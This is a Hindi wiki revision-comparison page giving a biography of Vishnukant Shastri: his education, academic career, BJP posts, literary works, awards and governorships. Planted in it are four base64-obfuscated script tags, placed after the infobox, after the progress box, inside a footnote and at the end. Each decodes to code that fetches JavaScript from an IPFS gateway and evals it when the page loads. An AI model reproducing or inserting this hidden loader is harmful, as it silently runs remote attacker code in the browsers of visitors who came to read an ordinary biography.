"विष्णुकांत शास्त्री" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('thumb|200px|विष्णु कांत शास्त्री '''विष्णु...' के साथ नया पृष्ठ बनाया)
 
छो (Text replacement - "डा." to "डॉ.")
 
(5 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:Vishnu-Kant-Shastri.jpg|thumb|200px|विष्णु कांत शास्त्री]]
+
{{सूचना बक्सा राजनीतिज्ञ
'''विष्णु कांत शास्त्री''' ([[अंग्रेज़ी]]: ''Vishnu Kant Shastri'', जन्म- [[2 मई]] [[1929]], [[कोलकाता]]; मृत्यु- [[17 अप्रैल]] [[2005]]) भारतीय राजनीतिज्ञ एवं साहित्यकार थे। ये [[उत्तर प्रदेश]] एवं [[हिमाचल प्रदेश]] के [[राज्यपाल]] भी रहे। <ref name="a">{{cite web |url=http://upgovernor.gov.in/hindi_version/vkshastribio_H.htm |title=विष्णु कान्त शास्त्री |accessmonthday= 12 अक्टूबर|accessyear= 2016|last= |first= |authorlink= |format= |publisher=upgovernor.gov.in |language=हिंदी }}</ref>
+
|चित्र=Vishnu-Kant-Shastri.jpg
 
+
|चित्र का नाम=विष्णुकांत शास्त्री
 +
|पूरा नाम=विष्णुकांत शास्त्री
 +
|अन्य नाम=
 +
|जन्म=[[2 मई]] [[1929]]
 +
|जन्म भूमि= [[कोलकाता]]
 +
|मृत्यु= [[17 अप्रैल]] [[2005]]
 +
|मृत्यु स्थान=
 +
|मृत्यु कारण=
 +
|अभिभावक=
 +
|पति/पत्नी= पत्नी- श्रीमती इन्दिरा देवी
 +
|संतान=पुत्री- भारती शर्मा
 +
|स्मारक=
 +
|क़ब्र=
 +
|नागरिकता=भारतीय
 +
|प्रसिद्धि=राजनीतिज्ञ एवं [[साहित्यकार]]
 +
|पार्टी=[[भारतीय जनता पार्टी]]
 +
|पद=[[राज्यपाल]] ([[उत्तर प्रदेश]])
 +
|भाषा=
 +
|जेल यात्रा=
 +
|कार्य काल=[[24 नवंबर]] [[2000]] से [[2 जुलाई]] [[2004]] तक
 +
|विद्यालय= [[कलकत्ता विश्वविद्यालय]]  
 +
|शिक्षा=एल. एल. बी. (वकालत)
 +
|पुरस्कार-उपाधि=
 +
|विशेष योगदान=
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=विष्णुकांत शास्त्री एक अच्छे राजनीतिज्ञ के साथ भक्ति साहित्य के अधिकारी विद्वान थे। इन्होंने देश भर के विश्वविद्यालयों एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन={{अद्यतन|15:10, 21 अक्टूबर 2016 (IST)}}
 +
}}
 +
'''विष्णुकांत शास्त्री''' ([[अंग्रेज़ी]]: ''Vishnukant Shastri'', जन्म- [[2 मई]] [[1929]], [[कोलकाता]]; मृत्यु- [[17 अप्रैल]] [[2005]]) भारतीय राजनीतिज्ञ एवं साहित्यकार थे। ये [[उत्तर प्रदेश]] एवं [[हिमाचल प्रदेश]] के [[राज्यपाल]] भी रहे। <ref name="a">{{cite web |url=http://upgovernor.gov.in/hindi_version/vkshastribio_H.htm |title=विष्णु कान्त शास्त्री |accessmonthday= 12 अक्टूबर|accessyear= 2016|last= |first= |authorlink= |format= |publisher=upgovernor.gov.in |language=हिंदी }}</ref> इन्होंने देश भर के विश्वविद्यालयों एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली। ये भक्ति साहित्य के अधिकारी विद्वान थे। काव्य पाठन, भ्रमण, शिक्षा साहित्य तथा दर्शन आदि के क्षेत्रों में भी उनकी विशेष रूचि थी।
 
==परिचय एवं शिक्षा==
 
==परिचय एवं शिक्षा==
विष्णु कांत शास्त्री का जन्म [[2 मई]] [[1929]] को [[कोलकाता]] में हुआ। इनका विवाह [[26 जनवरी]], [[1953]] को श्रीमती इन्दिरा देवी से हुआ। इनकी
+
विष्णुकांत शास्त्री का जन्म [[2 मई]] [[1929]] को [[कोलकाता]] में हुआ। इनका विवाह [[26 जनवरी]], [[1953]] को श्रीमती इन्दिरा देवी से हुआ, जिनसे इनकी एक पुत्री भारती शर्मा हुई। इन्होंने बी. ए., एम.ए., तथा एल.एल.बी. [[कलकत्ता विश्वविद्यालय]] से प्राप्त की। इन्होंने  [[1952]] में एम.ए. हिन्दी में प्रथम श्रेणी में प्रथम स्थान प्राप्त किया था।
एक पुत्री भारती शर्मा थी। इन्होंने बी. ए., एम.ए., तथा एल.एल.बी. [[कलकत्ता विश्वविद्यालय]] के प्राप्त की और [[1952]] में एम.ए. हिन्दी में प्रथम श्रेणी में प्रथम स्थान प्राप्त किया।
 
  
 
[[24 नवम्बर]] [[2000]] से [[2 जुलाई]] [[2004]] छत्रपति शाहू जी महाराज विश्वविद्यालय, कानपुर द्वारा मानद उपाधि, डी.लिट. तथा [[बनारस हिन्दू विश्वविद्यालय]] द्वारा डी. लिट्. की मानद उपाधि से सम्मानित किया गया।
 
[[24 नवम्बर]] [[2000]] से [[2 जुलाई]] [[2004]] छत्रपति शाहू जी महाराज विश्वविद्यालय, कानपुर द्वारा मानद उपाधि, डी.लिट. तथा [[बनारस हिन्दू विश्वविद्यालय]] द्वारा डी. लिट्. की मानद उपाधि से सम्मानित किया गया।
 
==कॅरियर==
 
==कॅरियर==
[[1953]] में [[कलकत्ता विश्वविद्यालय]] के हिन्दी विभाग में प्राध्यापक नियुक्त हुए। क्रमश उन्नति करते हुए आचार्य एवं विभागाध्यक्ष बने। आचार्य के पद से कलकत्ता विश्वविद्यालय से [[31 मई]], [[1994]] को अवकाश ग्रहण किया। ये [[1944]] में राष्ट्रीय स्वयं सेवक संघ से सम्बद्ध हुये। अखिल भारतीय विद्यार्थी परिषद (कलकत्ता शाखा), श्री बड़ा बाजार कुमार सभा, पुस्तकालय, अनामिका<ref>कलकत्ता का एक अग्रणी सांस्कृतिक संस्थान</ref> और [[भारतीय जनता पार्टी]] ([[पश्चिम बंगाल|पश्चिमी बंगाल]]) के अध्यक्ष रहे।
+
[[1953]] में [[कलकत्ता विश्वविद्यालय]] के हिन्दी विभाग में प्राध्यापक नियुक्त हुए। क्रमश उन्नति करते हुए आचार्य एवं विभागाध्यक्ष बने। आचार्य के पद से कलकत्ता विश्वविद्यालय से [[31 मई]], [[1994]] को अवकाश ग्रहण किया। ये [[1944]] में राष्ट्रीय स्वयं सेवक संघ से सम्बद्ध हुये। अखिल भारतीय विद्यार्थी परिषद (कलकत्ता शाखा), श्री बड़ा बाज़ार कुमार सभा, पुस्तकालय, अनामिका<ref>कलकत्ता का एक अग्रणी सांस्कृतिक संस्थान</ref> और [[भारतीय जनता पार्टी]] ([[पश्चिम बंगाल|पश्चिमी बंगाल]]) के अध्यक्ष रहे।
  
विष्णु कांत शास्त्री बंगीय हिन्दी परिषद के उपाध्यक्ष, भारतीय जनता पार्टी के राष्ट्रीय उपाध्यक्ष, श्यामा प्रसाद मुखर्जी स्मारक समिति के महामंत्री, भारतीय भाषा परिषद के मंत्री और भारत भवन भोपाल के ट्रस्टी भी रहे।
+
विष्णुकांत शास्त्री बंगीय हिन्दी परिषद के उपाध्यक्ष, भारतीय जनता पार्टी के राष्ट्रीय उपाध्यक्ष, श्यामा प्रसाद मुखर्जी स्मारक समिति के महामंत्री, भारतीय भाषा परिषद के मंत्री और भारत भवन, भोपाल के ट्रस्टी भी रहे।
  
सीनेट, कलकत्ता विश्वविद्यालय, कार्यकारी समिति, भारतीय हिन्दी परिषद, हिन्दी अध्ययन बोर्ड इलाहाबाद विश्वविद्यालय, कार्यकारी समिति, कलकत्ता विश्वविद्यालय, बांग्लादेश सहायक समिति, हिन्दी सलाहकार समिति गृह मंत्रालय एवं सूचना प्रसारण मंत्रालय ([[1977]]-[[1979]]) के सदस्य रहे। [[भारत सरकार]] के [[मानव संसाधन विकास मंत्रालय]] की समिति तथा परामर्ष समिति ([[1992]]-[[1998]]), संसदीय राजभाषा समिति ([[1994]]-[[1998]]) के सदस्य रहे।<ref name="a"/>
+
सीनेट, [[कलकत्ता विश्वविद्यालय]], कार्यकारी समिति, भारतीय हिन्दी परिषद, [[इलाहाबाद विश्वविद्यालय|हिन्दी अध्ययन बोर्ड इलाहाबाद विश्वविद्यालय]], कार्यकारी समिति, कलकत्ता विश्वविद्यालय, बांग्लादेश सहायक समिति, हिन्दी सलाहकार समिति गृह मंत्रालय एवं सूचना प्रसारण मंत्रालय ([[1977]]-[[1979]]) के सदस्य रहे। [[भारत सरकार]] के [[मानव संसाधन विकास मंत्रालय]] की समिति तथा परामर्ष समिति ([[1992]]-[[1998]]), संसदीय राजभाषा समिति ([[1994]]-[[1998]]) के सदस्य रहे।<ref name="a"/>
 +
==साहित्यकार==
 +
इन्होंने देश भर के [[विश्वविद्यालय|विश्वविद्यालयों]] एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली। ये भक्ति साहित्य के अधिकारी विद्वान थे।
 
==मौलिक कृतियां==
 
==मौलिक कृतियां==
 
‘कवि निराला की वेदना तथा निबन्ध’, ‘कुछ चंदन की कुछ कपूर की’, ‘चिन्तन मुद्रा’, ‘अनुचिंतन’ (साहित्य समीक्षा), ‘तुलसी के हियहेरि’ (तुलसी केन्द्रित निबंध), ‘‘[[बांग्लादेश]] के सन्दर्भ में,(रिपोताॅज), स्मरण को पाथेय बनने दो’, ‘सुधियां उस चंदन के वनकी’ (यात्रा वृतांत व संस्मरण), भक्ति और शरणागत’ (विवेचन), ‘ज्ञान और कर्म’ (चिन्तन-दर्शन), ‘अनंत पथ के यात्री’- धर्मवीर भारती (संस्मरण)।  
 
‘कवि निराला की वेदना तथा निबन्ध’, ‘कुछ चंदन की कुछ कपूर की’, ‘चिन्तन मुद्रा’, ‘अनुचिंतन’ (साहित्य समीक्षा), ‘तुलसी के हियहेरि’ (तुलसी केन्द्रित निबंध), ‘‘[[बांग्लादेश]] के सन्दर्भ में,(रिपोताॅज), स्मरण को पाथेय बनने दो’, ‘सुधियां उस चंदन के वनकी’ (यात्रा वृतांत व संस्मरण), भक्ति और शरणागत’ (विवेचन), ‘ज्ञान और कर्म’ (चिन्तन-दर्शन), ‘अनंत पथ के यात्री’- धर्मवीर भारती (संस्मरण)।  
  
'''अनूदित:''' ‘उपकालिदासय’ (बांग्ला से हिन्दी), ‘संकल्प-संत्रास-संकल्प’ (बांग्लादेश की संग्रामी कविताओं का काव्यानुवाद), महात्मा गांधी का समाज दर्शन (अंग्रेजी से हिन्दी)।  
+
'''अनूदित:'''- ‘उपकालिदासय’ (बांग्ला से हिन्दी), ‘संकल्प-संत्रास-संकल्प’ (बांग्लादेश की संग्रामी कविताओं का काव्यानुवाद), महात्मा गांधी का समाज दर्शन (अंग्रेजी से हिन्दी)।  
  
'''सम्पादित:''' ‘दर्शन और आज का हिन्दी रंगमंच’, ‘बालमुकंद गुप्त: एक मूल्यांकन’, बांग्लादेश: संस्कृति और साहित्य, ‘तुलसीदासः आज के संदर्भ में’, कलकत्ता [[1993]]’, ‘अमर आग है’ ([[अटल बिहारी वाजपेयी]] की चुनी हुई कविताओं का संकलन)। ‘रस वृन्दावन’ धर्मिक मासिक पत्रिका के प्रधान सम्पादक ([[1979]]-[[1984]])।  
+
'''सम्पादित:'''- ‘दर्शन और आज का हिन्दी रंगमंच’, ‘बालमुकंद गुप्त: एक मूल्यांकन’, बांग्लादेश: संस्कृति और साहित्य, ‘तुलसीदासः आज के संदर्भ में’, [[कलकत्ता]] [[1993]]’, ‘अमर आग है’ ([[अटल बिहारी वाजपेयी]] की चुनी हुई कविताओं का संकलन)। ‘रस वृन्दावन’ धर्मिक मासिक पत्रिका के प्रधान सम्पादक ([[1979]]-[[1984]])।  
==साहित्यकार==
 
इन्होंने देश भर के विश्वविद्यालयों एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली। ये भक्ति साहित्य के अधिकारी विद्वान थे।
 
 
==राजनीतिक गतिविधियाँ==
 
==राजनीतिक गतिविधियाँ==
*[[1977]] में जनता पार्टी के टिकट पर पश्चिम बंगाल विधान सभा में विधायक (1982 तक)।  
+
*[[1977]] में [[जनता पार्टी]] के टिकट पर पश्चिम बंगाल [[विधान सभा]] में [[विधायक]] (1982 तक)।  
 
*[[1980]] में नवगठित भारतीय जनता पार्टी में शामिल हुए।  
 
*[[1980]] में नवगठित भारतीय जनता पार्टी में शामिल हुए।  
 
*पश्चिम बंगाल भाजपा के अध्यक्ष ([[1982]]-[[1986]]) रहे और भाजपा के राष्ट्रीय उपाध्यक्ष ([[1988]]-[[1993]])।  
 
*पश्चिम बंगाल भाजपा के अध्यक्ष ([[1982]]-[[1986]]) रहे और भाजपा के राष्ट्रीय उपाध्यक्ष ([[1988]]-[[1993]])।  
 
*[[राज्यसभा]] में [[सांसद]] ([[1992]]-[[1998]]) तथा भारतीय जनता पार्टी की राष्ट्रीय कार्यकारिणी समिति के सदस्य ([[1980]]-[[1999]]) रहे।<ref name="a"/>
 
*[[राज्यसभा]] में [[सांसद]] ([[1992]]-[[1998]]) तथा भारतीय जनता पार्टी की राष्ट्रीय कार्यकारिणी समिति के सदस्य ([[1980]]-[[1999]]) रहे।<ref name="a"/>
 
==विदेश यात्रा==
 
==विदेश यात्रा==
विष्णु कांत शास्त्री ने विभिन्न देशों में भ्रमण किया- सूरीनाम, गुयाना, त्रिनिदाद, [[अमेरिका]], [[ब्रिटेन]], [[फ्रांस]], [[जर्मनी]], [[इटली]], [[बांग्लादेश]], कनाडा, [[रूस]], [[सिंगापुर]], [[मलेशिया]] व [[थाईलैंड]]।  
+
विष्णुकांत शास्त्री ने विभिन्न देशों में भ्रमण किया- सूरीनाम, गुयाना, त्रिनिदाद, [[अमेरिका]], [[ब्रिटेन]], [[फ्रांस]], [[जर्मनी]], [[इटली]], [[बांग्लादेश]], कनाडा, [[रूस]], [[सिंगापुर]], [[मलेशिया]] व [[थाईलैंड]]।  
 
==सम्मान एवं पुरस्कार==
 
==सम्मान एवं पुरस्कार==
 
*'''आचार्य रामचन्द्र शुक्ल पुरस्कार'''- [[उत्तर प्रदेश|उत्तर प्रदेश सरकार]] द्वारा [[1972]]-[[1973]] में ‘कुछ चंदन की कुछ कपूर की’ पुस्तक पर।
 
*'''आचार्य रामचन्द्र शुक्ल पुरस्कार'''- [[उत्तर प्रदेश|उत्तर प्रदेश सरकार]] द्वारा [[1972]]-[[1973]] में ‘कुछ चंदन की कुछ कपूर की’ पुस्तक पर।
 
*'''राज्य साहित्यिक पुरस्कार'''- उत्तर प्रदेश सरकार द्वारा [[1974]]-[[1975]] में ‘‘[[बांग्लादेश]] के संदर्भ में’’ पुस्तक पर।  
 
*'''राज्य साहित्यिक पुरस्कार'''- उत्तर प्रदेश सरकार द्वारा [[1974]]-[[1975]] में ‘‘[[बांग्लादेश]] के संदर्भ में’’ पुस्तक पर।  
*'''विशेष पुरस्कार'''- उत्तर प्रदेश हिन्दी संस्थान द्वारा [[1978]]-[[1979]] में ‘स्मरण को पाथेय बनने दो’ पुस्तक पर। रामायण महोत्सव प्रतिष्ठान, चित्रकुट (उ.प्र.) द्वारा [[19 मार्च]], [[1979]] को विशिष्ट सम्मान तुलसी साहित्य पर किये गये विशेष कार्य हेतु। साहित्य भूषण सम्मान, डा. राम मनोहर लोहिया सम्मान, राजर्षि टंडन हिन्दी सेवी सम्मान से सम्मनित हुये।
+
*'''विशेष पुरस्कार'''- उत्तर प्रदेश हिन्दी संस्थान द्वारा [[1978]]-[[1979]] में ‘स्मरण को पाथेय बनने दो’ पुस्तक पर। रामायण महोत्सव प्रतिष्ठान, चित्रकुट (उ.प्र.) द्वारा [[19 मार्च]], [[1979]] को विशिष्ट सम्मान तुलसी साहित्य पर किये गये विशेष कार्य हेतु। साहित्य भूषण सम्मान, डॉ. राम मनोहर लोहिया सम्मान, राजर्षि टंडन हिन्दी सेवी सम्मान से सम्मानित हुए।
 
+
रामकृष्ण मिशन इंस्टीट्यूट ऑफ़ कल्चर, कलकत्ता द्वारा [[1979]] के लिये लेक्चरर के रूप में ‘राम चरित मानस में ज्ञान और भक्ति विषय पर व्याख्यान के लिए, [[31 जनवरी]], [[2000]] को छत्रपति शाहू जी महाराज विश्वविद्यालय कानपुर द्वारा मानद डी.लिट. की उपाधि से सम्मानित। [[6 अगस्त]], [[2001]] को [[बनारस हिन्दू विश्वविद्यालय]] द्वारा डी.लिट. की उपाधि से सम्मानित किया गया।
रामकृष्ण मिशन इंस्टीट्यूट ऑफ़ कल्चर, कलकत्ता द्वारा [[1979]] के लिये लेक्चरर के रूप में ‘राम चरित मानस में ज्ञान और भक्ति विषय पर व्याख्यान के लिए, [[31 जनवरी]], [[2000]] को छत्रपति शाहू जी महाराज विश्वविद्यालय कानपुर द्वारा मानद डी.लिट. की उपाधि से सम्मानित। [[6 अगस्त]], [[2001]] को [[बनारस हिन्दू विश्वविद्यालय]] द्वारा डी.लिट्. की उपाधि से सम्मानित किया गया।
 
 
==विशेष रूचि==
 
==विशेष रूचि==
विष्णु कांत शास्त्री निम्न क्षेत्रों में रुचि रखते थे, जैसे- काव्य पाठ्य, भ्रमण, शिक्षा साहित्य, दर्शन के क्षेत्रों में आदि।  
+
विष्णुकांत शास्त्री निम्न क्षेत्रों में रुचि रखते थे, जैसे- काव्य पाठ्य, भ्रमण, शिक्षा साहित्य, दर्शन के क्षेत्रों में आदि।  
 
==राज्यपाल==
 
==राज्यपाल==
 
[[2 दिसम्बर]] [[1999]] को [[हिमाचल प्रदेश]] के [[राज्यपाल]] का कार्यभार ग्रहण किया तथा [[24 नवम्बर]] [[2000]] को [[उत्तर प्रदेश के राज्यपाल]] पद पर सुषोभित हुए।<ref name="a"/>
 
[[2 दिसम्बर]] [[1999]] को [[हिमाचल प्रदेश]] के [[राज्यपाल]] का कार्यभार ग्रहण किया तथा [[24 नवम्बर]] [[2000]] को [[उत्तर प्रदेश के राज्यपाल]] पद पर सुषोभित हुए।<ref name="a"/>
 
 
 
   
 
   
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक2|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक2|माध्यमिक= |पूर्णता= |शोध= }}

10:11, 4 फ़रवरी 2021 के समय का अवतरण

विष्णुकांत शास्त्री
विष्णुकांत शास्त्री
पूरा नाम विष्णुकांत शास्त्री
जन्म 2 मई 1929
जन्म भूमि कोलकाता
मृत्यु 17 अप्रैल 2005
पति/पत्नी पत्नी- श्रीमती इन्दिरा देवी
संतान पुत्री- भारती शर्मा
नागरिकता भारतीय
प्रसिद्धि राजनीतिज्ञ एवं साहित्यकार
पार्टी भारतीय जनता पार्टी
पद राज्यपाल (उत्तर प्रदेश)
कार्य काल 24 नवंबर 2000 से 2 जुलाई 2004 तक
शिक्षा एल. एल. बी. (वकालत)
विद्यालय कलकत्ता विश्वविद्यालय
अन्य जानकारी विष्णुकांत शास्त्री एक अच्छे राजनीतिज्ञ के साथ भक्ति साहित्य के अधिकारी विद्वान थे। इन्होंने देश भर के विश्वविद्यालयों एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली।
अद्यतन‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

विष्णुकांत शास्त्री (अंग्रेज़ी: Vishnukant Shastri, जन्म- 2 मई 1929, कोलकाता; मृत्यु- 17 अप्रैल 2005) भारतीय राजनीतिज्ञ एवं साहित्यकार थे। ये उत्तर प्रदेश एवं हिमाचल प्रदेश के राज्यपाल भी रहे। [1] इन्होंने देश भर के विश्वविद्यालयों एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली। ये भक्ति साहित्य के अधिकारी विद्वान थे। काव्य पाठन, भ्रमण, शिक्षा साहित्य तथा दर्शन आदि के क्षेत्रों में भी उनकी विशेष रूचि थी।

परिचय एवं शिक्षा

विष्णुकांत शास्त्री का जन्म 2 मई 1929 को कोलकाता में हुआ। इनका विवाह 26 जनवरी, 1953 को श्रीमती इन्दिरा देवी से हुआ, जिनसे इनकी एक पुत्री भारती शर्मा हुई। इन्होंने बी. ए., एम.ए., तथा एल.एल.बी. कलकत्ता विश्वविद्यालय से प्राप्त की। इन्होंने 1952 में एम.ए. हिन्दी में प्रथम श्रेणी में प्रथम स्थान प्राप्त किया था।

24 नवम्बर 2000 से 2 जुलाई 2004 छत्रपति शाहू जी महाराज विश्वविद्यालय, कानपुर द्वारा मानद उपाधि, डी.लिट. तथा बनारस हिन्दू विश्वविद्यालय द्वारा डी. लिट्. की मानद उपाधि से सम्मानित किया गया।

कॅरियर

1953 में कलकत्ता विश्वविद्यालय के हिन्दी विभाग में प्राध्यापक नियुक्त हुए। क्रमश उन्नति करते हुए आचार्य एवं विभागाध्यक्ष बने। आचार्य के पद से कलकत्ता विश्वविद्यालय से 31 मई, 1994 को अवकाश ग्रहण किया। ये 1944 में राष्ट्रीय स्वयं सेवक संघ से सम्बद्ध हुये। अखिल भारतीय विद्यार्थी परिषद (कलकत्ता शाखा), श्री बड़ा बाज़ार कुमार सभा, पुस्तकालय, अनामिका[2] और भारतीय जनता पार्टी (पश्चिमी बंगाल) के अध्यक्ष रहे।

विष्णुकांत शास्त्री बंगीय हिन्दी परिषद के उपाध्यक्ष, भारतीय जनता पार्टी के राष्ट्रीय उपाध्यक्ष, श्यामा प्रसाद मुखर्जी स्मारक समिति के महामंत्री, भारतीय भाषा परिषद के मंत्री और भारत भवन, भोपाल के ट्रस्टी भी रहे।

सीनेट, कलकत्ता विश्वविद्यालय, कार्यकारी समिति, भारतीय हिन्दी परिषद, हिन्दी अध्ययन बोर्ड इलाहाबाद विश्वविद्यालय, कार्यकारी समिति, कलकत्ता विश्वविद्यालय, बांग्लादेश सहायक समिति, हिन्दी सलाहकार समिति गृह मंत्रालय एवं सूचना प्रसारण मंत्रालय (1977-1979) के सदस्य रहे। भारत सरकार के मानव संसाधन विकास मंत्रालय की समिति तथा परामर्ष समिति (1992-1998), संसदीय राजभाषा समिति (1994-1998) के सदस्य रहे।[1]

साहित्यकार

इन्होंने देश भर के विश्वविद्यालयों एवं साहित्यिक संस्थानों की व्याख्यान मालाओं में भागीदारी ली। ये भक्ति साहित्य के अधिकारी विद्वान थे।

मौलिक कृतियां

‘कवि निराला की वेदना तथा निबन्ध’, ‘कुछ चंदन की कुछ कपूर की’, ‘चिन्तन मुद्रा’, ‘अनुचिंतन’ (साहित्य समीक्षा), ‘तुलसी के हियहेरि’ (तुलसी केन्द्रित निबंध), ‘‘बांग्लादेश के सन्दर्भ में,(रिपोताॅज), स्मरण को पाथेय बनने दो’, ‘सुधियां उस चंदन के वनकी’ (यात्रा वृतांत व संस्मरण), भक्ति और शरणागत’ (विवेचन), ‘ज्ञान और कर्म’ (चिन्तन-दर्शन), ‘अनंत पथ के यात्री’- धर्मवीर भारती (संस्मरण)।

अनूदित:- ‘उपकालिदासय’ (बांग्ला से हिन्दी), ‘संकल्प-संत्रास-संकल्प’ (बांग्लादेश की संग्रामी कविताओं का काव्यानुवाद), महात्मा गांधी का समाज दर्शन (अंग्रेजी से हिन्दी)।

सम्पादित:- ‘दर्शन और आज का हिन्दी रंगमंच’, ‘बालमुकंद गुप्त: एक मूल्यांकन’, बांग्लादेश: संस्कृति और साहित्य, ‘तुलसीदासः आज के संदर्भ में’, कलकत्ता 1993’, ‘अमर आग है’ (अटल बिहारी वाजपेयी की चुनी हुई कविताओं का संकलन)। ‘रस वृन्दावन’ धर्मिक मासिक पत्रिका के प्रधान सम्पादक (1979-1984)।

राजनीतिक गतिविधियाँ

विदेश यात्रा

विष्णुकांत शास्त्री ने विभिन्न देशों में भ्रमण किया- सूरीनाम, गुयाना, त्रिनिदाद, अमेरिका, ब्रिटेन, फ्रांस, जर्मनी, इटली, बांग्लादेश, कनाडा, रूस, सिंगापुर, मलेशियाथाईलैंड

सम्मान एवं पुरस्कार

  • आचार्य रामचन्द्र शुक्ल पुरस्कार- उत्तर प्रदेश सरकार द्वारा 1972-1973 में ‘कुछ चंदन की कुछ कपूर की’ पुस्तक पर।
  • राज्य साहित्यिक पुरस्कार- उत्तर प्रदेश सरकार द्वारा 1974-1975 में ‘‘बांग्लादेश के संदर्भ में’’ पुस्तक पर।
  • विशेष पुरस्कार- उत्तर प्रदेश हिन्दी संस्थान द्वारा 1978-1979 में ‘स्मरण को पाथेय बनने दो’ पुस्तक पर। रामायण महोत्सव प्रतिष्ठान, चित्रकुट (उ.प्र.) द्वारा 19 मार्च, 1979 को विशिष्ट सम्मान तुलसी साहित्य पर किये गये विशेष कार्य हेतु। साहित्य भूषण सम्मान, डॉ. राम मनोहर लोहिया सम्मान, राजर्षि टंडन हिन्दी सेवी सम्मान से सम्मानित हुए।

रामकृष्ण मिशन इंस्टीट्यूट ऑफ़ कल्चर, कलकत्ता द्वारा 1979 के लिये लेक्चरर के रूप में ‘राम चरित मानस में ज्ञान और भक्ति विषय पर व्याख्यान के लिए, 31 जनवरी, 2000 को छत्रपति शाहू जी महाराज विश्वविद्यालय कानपुर द्वारा मानद डी.लिट. की उपाधि से सम्मानित। 6 अगस्त, 2001 को बनारस हिन्दू विश्वविद्यालय द्वारा डी.लिट. की उपाधि से सम्मानित किया गया।

विशेष रूचि

विष्णुकांत शास्त्री निम्न क्षेत्रों में रुचि रखते थे, जैसे- काव्य पाठ्य, भ्रमण, शिक्षा साहित्य, दर्शन के क्षेत्रों में आदि।

राज्यपाल

2 दिसम्बर 1999 को हिमाचल प्रदेश के राज्यपाल का कार्यभार ग्रहण किया तथा 24 नवम्बर 2000 को उत्तर प्रदेश के राज्यपाल पद पर सुषोभित हुए।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 विष्णु कान्त शास्त्री (हिंदी) upgovernor.gov.in। अभिगमन तिथि: 12 अक्टूबर, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. कलकत्ता का एक अग्रणी सांस्कृतिक संस्थान

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>